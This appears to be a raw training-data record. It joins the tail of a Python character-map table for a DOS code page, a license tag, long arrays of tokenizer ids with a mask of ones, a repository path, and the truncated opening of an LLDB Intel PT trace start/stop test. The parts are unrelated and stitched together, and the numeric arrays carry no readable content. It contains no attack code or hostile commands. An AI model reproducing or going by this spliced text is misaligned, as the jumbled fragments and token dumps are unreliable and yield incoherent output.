MARK 0x0022: 0x0022, # QUOTATION MARK 0x0023: 0x0023, # NUMBER SIGN 0x0024: 0x0024, # DOLLAR SIGN 0x0025: 0x0025, # PERCENT SIGN 0x0026: 0x0026, # AMPERSAND 0x0027: 0x0027, # APOSTROPHE 0x0028: 0x0028, # LEFT PARENTHESIS 0x0029: 0x0029, # RIGHT PARENTHESIS 0x002a: 0x002a, # ASTERISK 0x002b: 0x002b, # PLUS SIGN 0x002c: 0x002c, # COMMA 0x002d: 0x002d, # HYPHEN-MINUS 0x002e: 0x002e, # FULL STOP 0x002f: 0x002f, # SOLIDUS 0x0030: 0x0030, # DIGIT ZERO 0x0031: 0x0031, # DIGIT ONE 0x0032: 0x0032, # DIGIT TWO 0x0033: 0x0033, # DIGIT THREE 0x0034: 0x0034, # DIGIT FOUR 0x0035: 0x0035, # DIGIT FIVE 0x0036: 0x0036, # DIGIT SIX 0x0037: 0x0037, # DIGIT SEVEN 0x0038: 0x0038, # DIGIT EIGHT 0x0039: 0x0039, # DIGIT NINE 0x003a: 0x003a, # COLON 0x003b: 0x003b, # SEMICOLON 0x003c: 0x003c, # LESS-THAN SIGN 0x003d: 0x003d, # EQUALS SIGN 0x003e: 0x003e, # GREATER-THAN SIGN 0x003f: 0x003f, # QUESTION MARK 0x0040: 0x0040, # COMMERCIAL AT 0x0041: 0x0041, # LATIN CAPITAL LETTER A 0x0042: 0x0042, # LATIN CAPITAL LETTER B 0x0043: 0x0043, # LATIN CAPITAL LETTER C 0x0044: 0x0044, # LATIN CAPITAL LETTER D 0x0045: 0x0045, # LATIN CAPITAL LETTER E 0x0046: 0x0046, # LATIN CAPITAL LETTER F 0x0047: 0x0047, # LATIN CAPITAL LETTER G 0x0048: 0x0048, # LATIN CAPITAL LETTER H 0x0049: 0x0049, # LATIN CAPITAL LETTER I 0x004a: 0x004a, # LATIN CAPITAL LETTER J 0x004b: 0x004b, # LATIN CAPITAL LETTER K 0x004c: 0x004c, # LATIN CAPITAL LETTER L 0x004d: 0x004d, # LATIN CAPITAL LETTER M 0x004e: 0x004e, # LATIN CAPITAL LETTER N 0x004f: 0x004f, # LATIN CAPITAL LETTER O 0x0050: 0x0050, # LATIN CAPITAL LETTER P 0x0051: 0x0051, # LATIN CAPITAL LETTER Q 0x0052: 0x0052, # LATIN CAPITAL LETTER R 0x0053: 0x0053, # LATIN CAPITAL LETTER S 0x0054: 0x0054, # LATIN CAPITAL LETTER T 0x0055: 0x0055, # LATIN CAPITAL LETTER U 0x0056: 0x0056, # LATIN CAPITAL LETTER V 0x0057: 0x0057, # LATIN CAPITAL LETTER W 0x0058: 0x0058, # LATIN CAPITAL LETTER X 0x0059: 0x0059, # LATIN CAPITAL LETTER Y 0x005a: 0x005a, # LATIN CAPITAL LETTER Z 0x005b: 0x005b, # LEFT SQUARE BRACKET 0x005c: 0x005c, # REVERSE SOLIDUS 0x005d: 0x005d, # RIGHT SQUARE BRACKET 0x005e: 0x005e, # CIRCUMFLEX ACCENT 0x005f: 0x005f, # LOW LINE 0x0060: 0x0060, # GRAVE ACCENT 0x0061: 0x0061, # LATIN SMALL LETTER A 0x0062: 0x0062, # LATIN SMALL LETTER B 0x0063: 0x0063, # LATIN SMALL LETTER C 0x0064: 0x0064, # LATIN SMALL LETTER D 0x0065: 0x0065, # LATIN SMALL LETTER E 0x0066: 0x0066, # LATIN SMALL LETTER F 0x0067: 0x0067, # LATIN SMALL LETTER G 0x0068: 0x0068, # LATIN SMALL LETTER H 0x0069: 0x0069, # LATIN SMALL LETTER I 0x006a: 0x006a, # LATIN SMALL LETTER J 0x006b: 0x006b, # LATIN SMALL LETTER K 0x006c: 0x006c, # LATIN SMALL LETTER L 0x006d: 0x006d, # LATIN SMALL LETTER M 0x006e: 0x006e, # LATIN SMALL LETTER N 0x006f: 0x006f, # LATIN SMALL LETTER O 0x0070: 0x0070, # LATIN SMALL LETTER P 0x0071: 0x0071, # LATIN SMALL LETTER Q 0x0072: 0x0072, # LATIN SMALL LETTER R 0x0073: 0x0073, # LATIN SMALL LETTER S 0x0074: 0x0074, # LATIN SMALL LETTER T 0x0075: 0x0075, # LATIN SMALL LETTER U 0x0076: 0x0076, # LATIN SMALL LETTER V 0x0077: 0x0077, # LATIN SMALL LETTER W 0x0078: 0x0078, # LATIN SMALL LETTER X 0x0079: 0x0079, # LATIN SMALL LETTER Y 0x007a: 0x007a, # LATIN SMALL LETTER Z 0x007b: 0x007b, # LEFT CURLY BRACKET 0x007c: 0x007c, # VERTICAL LINE 0x007d: 0x007d, # RIGHT CURLY BRACKET 0x007e: 0x007e, # TILDE 0x007f: 0x007f, # DELETE 0x00a0: 0x00ff, # NO-BREAK SPACE 0x00a2: 0x0096, # CENT SIGN 0x00a3: 0x009c, # POUND SIGN 0x00a4: 0x009f, # CURRENCY SIGN 0x00a6: 0x00a7, # BROKEN BAR 0x00a7: 0x00f5, # SECTION SIGN 0x00a9: 0x00a8, # COPYRIGHT SIGN 0x00ab: 0x00ae, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK 0x00ac: 0x00aa, # NOT SIGN 0x00ad: 0x00f0, # SOFT HYPHEN 0x00ae: 0x00a9, # REGISTERED SIGN 0x00b0: 0x00f8, # DEGREE SIGN 0x00b1: 0x00f1, # PLUS-MINUS SIGN 0x00b2: 0x00fd, # SUPERSCRIPT TWO 0x00b3: 0x00fc, # SUPERSCRIPT THREE 0x00b5: 0x00e6, # MICRO SIGN 0x00b6: 0x00f4, # PILCROW SIGN 0x00b7: 0x00fa, # MIDDLE DOT 0x00b9: 0x00fb, # SUPERSCRIPT ONE 0x00bb: 0x00af, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK 0x00bc: 0x00ac, # VULGAR FRACTION ONE QUARTER 0x00bd: 0x00ab, # VULGAR FRACTION ONE HALF 0x00be: 0x00f3, # VULGAR FRACTION THREE QUARTERS 0x00c4: 0x008e, # LATIN CAPITAL LETTER A WITH DIAERESIS 0x00c5: 0x008f, # LATIN CAPITAL LETTER A WITH RING ABOVE 0x00c6: 0x0092, # LATIN CAPITAL LIGATURE AE 0x00c9: 0x0090, # LATIN CAPITAL LETTER E WITH ACUTE 0x00d3: 0x00e0, # LATIN CAPITAL LETTER O WITH ACUTE 0x00d5: 0x00e5, # LATIN CAPITAL LETTER O WITH TILDE 0x00d6: 0x0099, # LATIN CAPITAL LETTER O WITH DIAERESIS 0x00d7: 0x009e, # MULTIPLICATION SIGN 0x00d8: 0x009d, # LATIN CAPITAL LETTER O WITH STROKE 0x00dc: 0x009a, # LATIN CAPITAL LETTER U WITH DIAERESIS 0x00df: 0x00e1, # LATIN SMALL LETTER SHARP S (GERMAN) 0x00e4: 0x0084, # LATIN SMALL LETTER A WITH DIAERESIS 0x00e5: 0x0086, # LATIN SMALL LETTER A WITH RING ABOVE 0x00e6: 0x0091, # LATIN SMALL LIGATURE AE 0x00e9: 0x0082, # LATIN SMALL LETTER E WITH ACUTE 0x00f3: 0x00a2, # LATIN SMALL LETTER O WITH ACUTE 0x00f5: 0x00e4, # LATIN SMALL LETTER O WITH TILDE 0x00f6: 0x0094, # LATIN SMALL LETTER O WITH DIAERESIS 0x00f7: 0x00f6, # DIVISION SIGN 0x00f8: 0x009b, # LATIN SMALL LETTER O WITH STROKE 0x00fc: 0x0081, # LATIN SMALL LETTER U WITH DIAERESIS 0x0100: 0x00a0, # LATIN CAPITAL LETTER A WITH MACRON 0x0101: 0x0083, # LATIN SMALL LETTER A WITH MACRON 0x0104: 0x00b5, # LATIN CAPITAL LETTER A WITH OGONEK 0x0105: 0x00d0, # LATIN SMALL LETTER A WITH OGONEK 0x0106: 0x0080, # LATIN CAPITAL LETTER C WITH ACUTE 0x0107: 0x0087, # LATIN SMALL LETTER C WITH ACUTE 0x010c: 0x00b6, # LATIN CAPITAL LETTER C WITH CARON 0x010d: 0x00d1, # LATIN SMALL LETTER C WITH CARON 0x0112: 0x00ed, # LATIN CAPITAL LETTER E WITH MACRON 0x0113: 0x0089, # LATIN SMALL LETTER E WITH MACRON 0x0116: 0x00b8, # LATIN CAPITAL LETTER E WITH DOT ABOVE 0x0117: 0x00d3, # LATIN SMALL LETTER E WITH DOT ABOVE 0x0118: 0x00b7, # LATIN CAPITAL LETTER E WITH OGONEK 0x0119: 0x00d2, # LATIN SMALL LETTER E WITH OGONEK 0x0122: 0x0095, # LATIN CAPITAL LETTER G WITH CEDILLA 0x0123: 0x0085, # LATIN SMALL LETTER G WITH CEDILLA 0x012a: 0x00a1, # LATIN CAPITAL LETTER I WITH MACRON 0x012b: 0x008c, # LATIN SMALL LETTER I WITH MACRON 0x012e: 0x00bd, # LATIN CAPITAL LETTER I WITH OGONEK 0x012f: 0x00d4, # LATIN SMALL LETTER I WITH OGONEK 0x0136: 0x00e8, # LATIN CAPITAL LETTER K WITH CEDILLA 0x0137: 0x00e9, # LATIN SMALL LETTER K WITH CEDILLA 0x013b: 0x00ea, # LATIN CAPITAL LETTER L WITH CEDILLA 0x013c: 0x00eb, # LATIN SMALL LETTER L WITH CEDILLA 0x0141: 0x00ad, # LATIN CAPITAL LETTER L WITH STROKE 0x0142: 0x0088, # LATIN SMALL LETTER L WITH STROKE 0x0143: 0x00e3, # LATIN CAPITAL LETTER N WITH ACUTE 0x0144: 0x00e7, # LATIN SMALL LETTER N WITH ACUTE 0x0145: 0x00ee, # LATIN CAPITAL LETTER N WITH CEDILLA 0x0146: 0x00ec, # LATIN SMALL LETTER N WITH CEDILLA 0x014c: 0x00e2, # LATIN CAPITAL LETTER O WITH MACRON 0x014d: 0x0093, # LATIN SMALL LETTER O WITH MACRON 0x0156: 0x008a, # LATIN CAPITAL LETTER R WITH CEDILLA 0x0157: 0x008b, # LATIN SMALL LETTER R WITH CEDILLA 0x015a: 0x0097, # LATIN CAPITAL LETTER S WITH ACUTE 0x015b: 0x0098, # LATIN SMALL LETTER S WITH ACUTE 0x0160: 0x00be, # LATIN CAPITAL LETTER S WITH CARON 0x0161: 0x00d5, # LATIN SMALL LETTER S WITH CARON 0x016a: 0x00c7, # LATIN CAPITAL LETTER U WITH MACRON 0x016b: 0x00d7, # LATIN SMALL LETTER U WITH MACRON 0x0172: 0x00c6, # LATIN CAPITAL LETTER U WITH OGONEK 0x0173: 0x00d6, # LATIN SMALL LETTER U WITH OGONEK 0x0179: 0x008d, # LATIN CAPITAL LETTER Z WITH ACUTE 0x017a: 0x00a5, # LATIN SMALL LETTER Z WITH ACUTE 0x017b: 0x00a3, # LATIN CAPITAL LETTER Z WITH DOT ABOVE 0x017c: 0x00a4, # LATIN SMALL LETTER Z WITH DOT ABOVE 0x017d: 0x00cf, # LATIN CAPITAL LETTER Z WITH CARON 0x017e: 0x00d8, # LATIN SMALL LETTER Z WITH CARON 0x2019: 0x00ef, # RIGHT SINGLE QUOTATION MARK 0x201c: 0x00f2, # LEFT DOUBLE QUOTATION MARK 0x201d: 0x00a6, # RIGHT DOUBLE QUOTATION MARK 0x201e: 0x00f7, # DOUBLE LOW-9 QUOTATION MARK 0x2219: 0x00f9, # BULLET OPERATOR 0x2500: 0x00c4, # BOX DRAWINGS LIGHT HORIZONTAL 0x2502: 0x00b3, # BOX DRAWINGS LIGHT VERTICAL 0x250c: 0x00da, # BOX DRAWINGS LIGHT DOWN AND RIGHT 0x2510: 0x00bf, # BOX DRAWINGS LIGHT DOWN AND LEFT 0x2514: 0x00c0, # BOX DRAWINGS LIGHT UP AND RIGHT 0x2518: 0x00d9, # BOX DRAWINGS LIGHT UP AND LEFT 0x251c: 0x00c3, # BOX DRAWINGS LIGHT VERTICAL AND RIGHT 0x2524: 0x00b4, # BOX DRAWINGS LIGHT VERTICAL AND LEFT 0x252c: 0x00c2, # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL 0x2534: 0x00c1, # BOX DRAWINGS LIGHT UP AND HORIZONTAL 0x253c: 0x00c5, # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL 0x2550: 0x00cd, # BOX DRAWINGS DOUBLE HORIZONTAL 0x2551: 0x00ba, # BOX DRAWINGS DOUBLE VERTICAL 0x2554: 0x00c9, # BOX DRAWINGS DOUBLE DOWN AND RIGHT 0x2557: 0x00bb, # BOX DRAWINGS DOUBLE DOWN AND LEFT 0x255a: 0x00c8, # BOX DRAWINGS DOUBLE UP AND RIGHT 0x255d: 0x00bc, # BOX DRAWINGS DOUBLE UP AND LEFT 0x2560: 0x00cc, # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT 0x2563: 0x00b9, # BOX DRAWINGS DOUBLE VERTICAL AND LEFT 0x2566: 0x00cb, # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL 0x2569: 0x00ca, # BOX DRAWINGS DOUBLE UP AND HORIZONTAL 0x256c: 0x00ce, # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL 0x2580: 0x00df, # UPPER HALF BLOCK 0x2584: 0x00dc, # LOWER HALF BLOCK 0x2588: 0x00db, # FULL BLOCK 0x258c: 0x00dd, # LEFT HALF BLOCK 0x2590: 0x00de, # RIGHT HALF BLOCK 0x2591: 0x00b0, # LIGHT SHADE 0x2592: 0x00b1, # MEDIUM SHADE 0x2593: 0x00b2, # DARK SHADE 0x25a0: 0x00fe, # BLACK SQUARE }
mit
[ 624, 2018, 17660, 12340, 13732, 7667, 12710, 4046, 687, 283, 27839, 4149, 15, 17233, 51, 2161, 15, 4222, 15, 2890, 12710, 14, 17715, 7, 543, 486, 2143, 67, 14, 647, 14, 199, 199, 624, 23662, 199, 199, 646, 6010, 199, 199, 5680, 13732, 15913, 199, 199, 533, 13732, 8, 8933, 14, 8818, 304, 339, 347, 3752, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 2550, 12, 2991, 63, 1130, 9, 339, 347, 4849, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 2550, 12, 12796, 63, 1224, 9, 199, 199, 533, 24350, 8, 8933, 14, 17016, 304, 272, 347, 3752, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 277, 14, 2550, 12, 2991, 63, 1130, 2788, 16, 61, 199, 199, 533, 24385, 8, 8933, 14, 16703, 304, 272, 347, 4849, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 277, 14, 2550, 12, 12796, 63, 1224, 2788, 16, 61, 199, 199, 533, 24163, 8, 8818, 12, 8933, 14, 16551, 304, 272, 986, 199, 199, 533, 22970, 8, 8818, 12, 8933, 14, 16132, 304, 272, 986, 199, 199, 5680, 14134, 859, 3261, 199, 199, 318, 26116, 837, 272, 372, 6010, 14, 26375, 8, 267, 536, 534, 1850, 12710, 297, 267, 3752, 29, 8818, 1252, 2143, 12, 267, 4849, 29, 8818, 1252, 2708, 12, 267, 26329, 29, 17016, 12, 267, 26317, 29, 16703, 12, 267, 26101, 29, 16132, 12, 267, 26112, 29, 16551, 12, 272, 776, 199, 5680, 27368, 9672, 199, 199, 12796, 63, 1130, 275, 6010, 14, 1875, 63, 5582, 63, 807, 8, 1842, 8, 3912, 430, 199, 12796, 63, 1130, 14, 873, 2561, 272, 378, 88, 23686, 26, 378, 88, 614, 1690, 12, 258, 327, 221, 1948, 2678, 1578, 445, 1663, 8123, 272, 378, 88, 383, 2835, 26, 378, 88, 383, 3003, 12, 258, 327, 221, 1948, 2516, 1578, 738, 1663, 9680, 272, 378, 88, 383, 2564, 26, 378, 88, 383, 69, 25, 12, 258, 327, 221, 1948, 2516, 1578, 662, 1663, 8123, 272, 378, 88, 383, 2658, 26, 378, 88, 11502, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 22847, 272, 378, 88, 30935, 26, 378, 88, 383, 69, 20, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 9680, 272, 378, 88, 383, 2426, 26, 378, 88, 29555, 12, 258, 327, 221, 1948, 2516, 1578, 598, 1663, 15609, 272, 378, 88, 31743, 26, 378, 88, 383, 69, 21, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 24809, 16054, 272, 378, 88, 383, 1555, 26, 378, 88, 32586, 12, 258, 327, 221, 1948, 2516, 1578, 445, 1663, 8123, 272, 378, 88, 31419, 26, 378, 88, 29556, 12, 258, 327, 221, 1948, 2516, 1578, 491, 1663, 22755, 272, 378, 88, 383, 1407, 26, 378, 88, 614, 969, 12, 258, 327, 221, 1948, 2516, 1578, 662, 1663, 22847, 272, 378, 88, 8662, 65, 26, 378, 88, 614, 1367, 12, 258, 327, 221, 1948, 2678, 1578, 820, 1663, 15609, 272, 378, 88, 8662, 66, 26, 378, 88, 614, 1641, 12, 258, 327, 221, 1948, 2516, 1578, 820, 1663, 15609, 272, 378, 88, 8662, 67, 26, 378, 88, 11533, 66, 12, 258, 327, 221, 1948, 2516, 1578, 473, 1663, 22847, 272, 378, 88, 8662, 68, 26, 378, 88, 614, 1965, 12, 258, 327, 221, 1948, 2678, 1578, 3107, 1663, 8123, 272, 378, 88, 8662, 69, 26, 378, 88, 383, 67, 20, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 9680, 272, 378, 88, 8662, 70, 26, 378, 88, 383, 67, 21, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 24809, 16054, 272, 378, 88, 28875, 26, 378, 88, 383, 67, 25, 12, 258, 327, 221, 1948, 2678, 1578, 662, 1663, 8123, 272, 378, 88, 383, 3328, 26, 378, 88, 383, 69, 22, 12, 258, 327, 221, 1948, 2516, 27427, 24475, 272, 378, 88, 383, 2942, 26, 378, 88, 383, 67, 22, 12, 258, 327, 221, 1948, 2678, 27427, 24475, 272, 378, 88, 383, 3129, 26, 378, 88, 10752, 68, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 22847, 272, 378, 88, 383, 2635, 26, 378, 88, 383, 70, 22, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 9680, 272, 378, 88, 383, 2720, 26, 378, 88, 614, 1081, 12, 258, 327, 221, 1948, 2678, 1578, 598, 1663, 15609, 272, 378, 88, 383, 2534, 26, 378, 88, 383, 65, 18, 12, 258, 327, 221, 445, 1309, 5056, 272, 378, 88, 383, 2576, 26, 378, 88, 11164, 65, 12, 258, 327, 221, 1948, 2678, 1578, 428, 1663, 8123, 272, 378, 88, 383, 2905, 26, 378, 88, 11164, 66, 12, 258, 327, 221, 1948, 2516, 1578, 428, 1663, 8123, 272, 378, 88, 29660, 26, 378, 88, 383, 68, 22, 12, 258, 327, 221, 1948, 2678, 1578, 593, 1663, 9680, 272, 378, 88, 8581, 65, 26, 378, 88, 383, 3833, 12, 258, 327, 221, 1948, 2678, 1578, 738, 1663, 9680, 272, 378, 88, 8581, 66, 26, 378, 88, 383, 70, 24, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 22755, 272, 378, 88, 8581, 67, 26, 378, 88, 383, 65, 19, 12, 258, 327, 221, 3625, 6131, 5056, 272, 378, 88, 8581, 68, 26, 378, 88, 383, 68, 24, 12, 258, 327, 221, 1948, 2678, 1578, 593, 1663, 22755, 272, 378, 88, 8581, 69, 26, 378, 88, 383, 68, 23, 12, 258, 327, 221, 24895, 1772, 17939, 5056, 272, 378, 88, 8581, 70, 26, 378, 88, 383, 65, 20, 12, 258, 327, 221, 18715, 24861, 5056, 272, 378, 88, 383, 65, 16, 26, 378, 88, 16569, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 22847, 272, 378, 88, 383, 65, 17, 26, 378, 88, 11533, 65, 12, 258, 327, 221, 1948, 2678, 1578, 473, 1663, 22847, 272, 378, 88, 383, 65, 18, 26, 378, 88, 383, 70, 19, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 8123, 272, 378, 88, 383, 65, 19, 26, 378, 88, 9570, 66, 12, 258, 327, 221, 1948, 2678, 1578, 3107, 1663, 15854, 16054, 272 ]
[ 2018, 17660, 12340, 13732, 7667, 12710, 4046, 687, 283, 27839, 4149, 15, 17233, 51, 2161, 15, 4222, 15, 2890, 12710, 14, 17715, 7, 543, 486, 2143, 67, 14, 647, 14, 199, 199, 624, 23662, 199, 199, 646, 6010, 199, 199, 5680, 13732, 15913, 199, 199, 533, 13732, 8, 8933, 14, 8818, 304, 339, 347, 3752, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 2550, 12, 2991, 63, 1130, 9, 339, 347, 4849, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 2550, 12, 12796, 63, 1224, 9, 199, 199, 533, 24350, 8, 8933, 14, 17016, 304, 272, 347, 3752, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 277, 14, 2550, 12, 2991, 63, 1130, 2788, 16, 61, 199, 199, 533, 24385, 8, 8933, 14, 16703, 304, 272, 347, 4849, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 277, 14, 2550, 12, 12796, 63, 1224, 2788, 16, 61, 199, 199, 533, 24163, 8, 8818, 12, 8933, 14, 16551, 304, 272, 986, 199, 199, 533, 22970, 8, 8818, 12, 8933, 14, 16132, 304, 272, 986, 199, 199, 5680, 14134, 859, 3261, 199, 199, 318, 26116, 837, 272, 372, 6010, 14, 26375, 8, 267, 536, 534, 1850, 12710, 297, 267, 3752, 29, 8818, 1252, 2143, 12, 267, 4849, 29, 8818, 1252, 2708, 12, 267, 26329, 29, 17016, 12, 267, 26317, 29, 16703, 12, 267, 26101, 29, 16132, 12, 267, 26112, 29, 16551, 12, 272, 776, 199, 5680, 27368, 9672, 199, 199, 12796, 63, 1130, 275, 6010, 14, 1875, 63, 5582, 63, 807, 8, 1842, 8, 3912, 430, 199, 12796, 63, 1130, 14, 873, 2561, 272, 378, 88, 23686, 26, 378, 88, 614, 1690, 12, 258, 327, 221, 1948, 2678, 1578, 445, 1663, 8123, 272, 378, 88, 383, 2835, 26, 378, 88, 383, 3003, 12, 258, 327, 221, 1948, 2516, 1578, 738, 1663, 9680, 272, 378, 88, 383, 2564, 26, 378, 88, 383, 69, 25, 12, 258, 327, 221, 1948, 2516, 1578, 662, 1663, 8123, 272, 378, 88, 383, 2658, 26, 378, 88, 11502, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 22847, 272, 378, 88, 30935, 26, 378, 88, 383, 69, 20, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 9680, 272, 378, 88, 383, 2426, 26, 378, 88, 29555, 12, 258, 327, 221, 1948, 2516, 1578, 598, 1663, 15609, 272, 378, 88, 31743, 26, 378, 88, 383, 69, 21, 12, 258, 327, 221, 1948, 2516, 1578, 437, 1663, 24809, 16054, 272, 378, 88, 383, 1555, 26, 378, 88, 32586, 12, 258, 327, 221, 1948, 2516, 1578, 445, 1663, 8123, 272, 378, 88, 31419, 26, 378, 88, 29556, 12, 258, 327, 221, 1948, 2516, 1578, 491, 1663, 22755, 272, 378, 88, 383, 1407, 26, 378, 88, 614, 969, 12, 258, 327, 221, 1948, 2516, 1578, 662, 1663, 22847, 272, 378, 88, 8662, 65, 26, 378, 88, 614, 1367, 12, 258, 327, 221, 1948, 2678, 1578, 820, 1663, 15609, 272, 378, 88, 8662, 66, 26, 378, 88, 614, 1641, 12, 258, 327, 221, 1948, 2516, 1578, 820, 1663, 15609, 272, 378, 88, 8662, 67, 26, 378, 88, 11533, 66, 12, 258, 327, 221, 1948, 2516, 1578, 473, 1663, 22847, 272, 378, 88, 8662, 68, 26, 378, 88, 614, 1965, 12, 258, 327, 221, 1948, 2678, 1578, 3107, 1663, 8123, 272, 378, 88, 8662, 69, 26, 378, 88, 383, 67, 20, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 9680, 272, 378, 88, 8662, 70, 26, 378, 88, 383, 67, 21, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 24809, 16054, 272, 378, 88, 28875, 26, 378, 88, 383, 67, 25, 12, 258, 327, 221, 1948, 2678, 1578, 662, 1663, 8123, 272, 378, 88, 383, 3328, 26, 378, 88, 383, 69, 22, 12, 258, 327, 221, 1948, 2516, 27427, 24475, 272, 378, 88, 383, 2942, 26, 378, 88, 383, 67, 22, 12, 258, 327, 221, 1948, 2678, 27427, 24475, 272, 378, 88, 383, 3129, 26, 378, 88, 10752, 68, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 22847, 272, 378, 88, 383, 2635, 26, 378, 88, 383, 70, 22, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 9680, 272, 378, 88, 383, 2720, 26, 378, 88, 614, 1081, 12, 258, 327, 221, 1948, 2678, 1578, 598, 1663, 15609, 272, 378, 88, 383, 2534, 26, 378, 88, 383, 65, 18, 12, 258, 327, 221, 445, 1309, 5056, 272, 378, 88, 383, 2576, 26, 378, 88, 11164, 65, 12, 258, 327, 221, 1948, 2678, 1578, 428, 1663, 8123, 272, 378, 88, 383, 2905, 26, 378, 88, 11164, 66, 12, 258, 327, 221, 1948, 2516, 1578, 428, 1663, 8123, 272, 378, 88, 29660, 26, 378, 88, 383, 68, 22, 12, 258, 327, 221, 1948, 2678, 1578, 593, 1663, 9680, 272, 378, 88, 8581, 65, 26, 378, 88, 383, 3833, 12, 258, 327, 221, 1948, 2678, 1578, 738, 1663, 9680, 272, 378, 88, 8581, 66, 26, 378, 88, 383, 70, 24, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 22755, 272, 378, 88, 8581, 67, 26, 378, 88, 383, 65, 19, 12, 258, 327, 221, 3625, 6131, 5056, 272, 378, 88, 8581, 68, 26, 378, 88, 383, 68, 24, 12, 258, 327, 221, 1948, 2678, 1578, 593, 1663, 22755, 272, 378, 88, 8581, 69, 26, 378, 88, 383, 68, 23, 12, 258, 327, 221, 24895, 1772, 17939, 5056, 272, 378, 88, 8581, 70, 26, 378, 88, 383, 65, 20, 12, 258, 327, 221, 18715, 24861, 5056, 272, 378, 88, 383, 65, 16, 26, 378, 88, 16569, 12, 258, 327, 221, 1948, 2678, 1578, 437, 1663, 22847, 272, 378, 88, 383, 65, 17, 26, 378, 88, 11533, 65, 12, 258, 327, 221, 1948, 2678, 1578, 473, 1663, 22847, 272, 378, 88, 383, 65, 18, 26, 378, 88, 383, 70, 19, 12, 258, 327, 221, 1948, 2516, 1578, 593, 1663, 8123, 272, 378, 88, 383, 65, 19, 26, 378, 88, 9570, 66, 12, 258, 327, 221, 1948, 2678, 1578, 3107, 1663, 15854, 16054, 272, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
apple/llvm-project
lldb/test/API/commands/trace/TestTraceStartStop.py
4
6010
import lldb from intelpt_testcase import * from lldbsuite.test.lldbtest import * from lldbsuite.test import lldbutil from lldbsuite.test.decorators import * class TestTraceStartStop(TraceIntelPTTestCaseBase): mydir = TestBase.compute_mydir(__file__) def expectGenericHelpMessageForStartCommand(self): self.expect("help thread trace start", substrs=["Syntax: thread trace start [<trace-options>]"]) @testSBAPIAndCommands def testStartStopSessionFileThreads(self): # it should fail for processes from json session files self.expect("trace load -v " + os.path.join(self.getSourceDir(), "intelpt-trace", "trace.json")) # the help command should be the generic one, as it's not a live process self.expectGenericHelpMessageForStartCommand() self.traceStartThread(error=True) self.traceStopThread(error=True) @testSBAPIAndCommands def testStartWithNoProcess(self): self.traceStartThread(error=True) @testSBAPIAndCommands def testStartSessionWithWrongSize(self): self.expect("file 